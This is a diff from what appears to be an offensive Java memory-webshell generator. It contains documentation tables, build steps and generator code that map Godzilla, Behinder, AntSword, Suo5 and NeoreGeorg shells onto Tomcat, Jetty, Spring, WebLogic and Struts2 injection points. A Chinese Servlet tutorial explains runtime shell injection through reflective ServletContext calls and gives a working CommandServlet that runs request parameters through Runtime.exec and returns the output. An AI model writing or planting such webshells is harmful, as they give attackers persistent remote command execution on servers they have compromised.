| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) | | WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) | | (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) | | (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) | | (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) | | (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) | | (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) | | NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | | AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | | (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java) | | (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | | (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | | (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | | (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) |
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
### 参考步骤 ### 参考步骤
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地 1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写 2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :generator:compileJava``.\gradlew.bat :generator:compileJava` 3. 执行 `./gradlew :memshell:compileJava``.\gradlew.bat :memshell:compileJava`
4. 在 generator/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件 4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成 5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
Binary file not shown.

After

Width:  |  Height:  |  Size: 174 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 282 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

Before

Width:  |  Height:  |  Size: 232 KiB

After

Width:  |  Height:  |  Size: 232 KiB

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

@@ -1,6 +1,4 @@
--- # Java Servlet Filter
title: Filter
---
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md) > [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
@@ -1,6 +1,4 @@
--- # Event Listeners
title: Listener
---
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md) > [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
+98
View File
@@ -0,0 +1,98 @@
# Java Servlet
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
## ServletContext
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
```java
addServlet(String servletName, String className);
addServlet(String servletName, Servlet servlet);
addServlet(String servletName, Class <? extends Servlet> servletClass);
addFilter(String filterName, String className);
addFilter(String filterName, Filter filter);
addFilter(String filterName, Class <? extends Filter> filterClass);
void addListener(String className);
void addListener(T t);
void addListener(Class <? extends EventListener> listenerClass);
```
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
## HttpServlet
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
```java
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
```
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
```java
@WebServlet(/foo)
public class CalculatorServlet extends HttpServlet{
//...
}
```
```xml
<servlet>
<servlet-name>foo</servlet-name>
<servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>foo</servlet-name>
<url-pattern>/foo</url-pattern>
</servlet-mapping>
```
## ServletShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
```java
public class CommandServlet extends HttpServlet {
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
}
}
```
+5 -6
View File
@@ -1,5 +1,5 @@
plugins { plugins {
id("java-library") id("java")
alias(libs.plugins.lombok) alias(libs.plugins.lombok)
id("maven-publish-convention") id("maven-publish-convention")
} }
@@ -29,18 +29,17 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
api(libs.byte.buddy) implementation(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -20,5 +20,4 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
} }
@@ -5,15 +5,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
@@ -53,43 +46,14 @@ public class MemShellGenerator {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
} }
if (shellConfig.isLambdaSuffix()) {
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
}
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes); injectorConfig.setShellClassBytes(shellBytes);
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
}
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
.byPassJavaModule(shellConfig.isByPassJavaModule())
.shrink(shellConfig.isShrink())
.debug(shellConfig.isDebug())
.staticInitialize(injectorConfig.isStaticInitialize())
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(serverName)
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
.build();
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes(); Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return MemShellResult.builder() return MemShellResult.builder()
@@ -8,8 +8,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
@@ -46,7 +44,6 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -61,8 +58,6 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -74,14 +69,10 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(HANDLER, GodzillaJettyHandler.class) .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -106,7 +97,6 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -124,7 +114,6 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -140,9 +129,6 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -154,14 +140,10 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -187,33 +169,6 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struct2Action.class)
.build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
.addShellClass(SERVLET, Suo5v2Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
.addShellClass(FILTER, Suo5v2Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
.addShellClass(LISTENER, Suo5v2Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
.addShellClass(VALVE, Suo5v2Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
.addShellClass(PROXY_VALVE, Suo5v2.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struct2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build()); .build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -238,14 +193,6 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
